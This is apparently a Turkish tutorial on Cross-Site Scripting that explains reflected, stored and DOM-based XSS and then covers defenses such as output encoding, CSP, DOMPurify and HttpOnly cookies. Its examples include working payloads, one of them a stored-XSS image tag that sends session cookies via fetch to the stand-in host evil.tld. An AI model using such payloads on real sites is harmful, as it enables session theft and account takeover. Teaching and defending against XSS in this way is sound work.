XSS (Cross-Site Scripting): Türleri, Örnekleri ve Korunma
Cross-Site Scripting (XSS), bir saldırganın başka kullanıcıların tarayıcısında çalışacak kötü niyetli JavaScript enjekte edebildiği, web uygulamalarının en yaygın zafiyetlerinden biridir. Temel sebep tektir: kullanıcıdan gelen veri, çıktı üretilirken güvenli şekilde kodlanmadan (escape/encode) HTML’e basılır.
Aşağıdaki örnekler yalnızca kendi test ortamında veya yazılı izinli sistemlerde denenmelidir. Amaç zafiyeti anlamak ve kapatmaktır.
XSS Türleri
1. Reflected (Yansıyan) XSS
Enjekte edilen kod, sunucudan gelen yanıtta anında “yansır”. Genellikle URL parametresi üzerinden tetiklenir:
1
https://site.com/ara?q=<script>alert(document.cookie)</script>
Eğer sunucu q değerini arama sonuç sayfasına doğrudan basıyorsa, script
çalışır. Kurban, hazırlanmış bir bağlantıya tıkladığında istismar gerçekleşir.
2. Stored (Kalıcı) XSS
Enjekte edilen kod veritabanına kaydedilir ve sonradan sayfayı açan her kullanıcıya sunulur. En tehlikeli türdür — örneğin bir yorum alanına:
1
<img src=x onerror="fetch('https://evil.tld/c?'+document.cookie)">
Bu yorumu gören herkesin oturum çerezi saldırgana gider.
3. DOM-based XSS
Zafiyet sunucuda değil, tamamen istemci tarafı JavaScript’tedir. Sayfa, kullanıcı girdisini güvensiz bir “sink”e yazar:
1
2
// Tehlikeli: URL'deki hash'i dogrudan DOM'a basmak
document.getElementById("out").innerHTML = location.hash.slice(1);
https://site.com/#<img src=x onerror=alert(1)> ile tetiklenir.
Neden Tehlikeli?
XSS ile saldırgan kurbanın tarayıcı bağlamında şunları yapabilir:
- Oturum çerezlerini / token’ları çalmak (hesap ele geçirme)
- Kullanıcı adına işlem yapmak (CSRF korumasını bile atlatarak)
- Sayfayı değiştirip sahte login formu göstermek (phishing)
- Keylogger yerleştirmek, tarayıcı içi verileri sızdırmak
Korunma Yöntemleri
Çıktı Kodlaması (En Temel Savunma)
Veriyi hangi bağlamda basıyorsan ona uygun encode et:
- HTML gövdesi → HTML entity encode (
<→<) - HTML attribute → attribute encode + tırnak
- JavaScript bağlamı → JS string encode
- URL → URL encode
Modern framework’ler (React, Angular, Vue) varsayılan olarak encode eder;
tehlike genellikle dangerouslySetInnerHTML, v-html, innerHTML gibi
kaçış yollarındadır.
Content Security Policy (CSP)
Inline script’leri ve dış kaynakları kısıtlayan bir savunma katmanı:
1
Content-Security-Policy: default-src 'self'; script-src 'self'
CSP tek başına yeterli değildir ama başarılı bir enjeksiyonun etkisini ciddi şekilde sınırlar.
Girdi Doğrulama ve Sanitizasyon
Zengin metin (HTML) kabul etmen gerekiyorsa, güvenli bir kütüphane kullan (ör. DOMPurify). Kendi regex “temizleyicini” yazma — neredeyse her zaman atlatılır.
Diğer Önlemler
| Önlem | Faydası |
|---|---|
HttpOnly çerez |
JS’in document.cookie ile token okumasını engeller |
SameSite çerez |
Çerezin çapraz sitede gönderilmesini kısıtlar |
| Framework auto-escaping | Varsayılan güvenli çıktı |
| CSP | Enjeksiyonun etkisini sınırlar |
Özet
XSS’in kökeni “veri” ile “kod”un karışmasıdır. Çözüm de bu ikisini net
ayırmaktır: her kullanıcı girdisini, çıktı bağlamına uygun şekilde encode
et. Framework’ünün otomatik kaçış mekanizmalarına güven, onları
innerHTML benzeri yollarla baypas etmekten kaçın ve CSP ile derinlemesine
savunma uygula.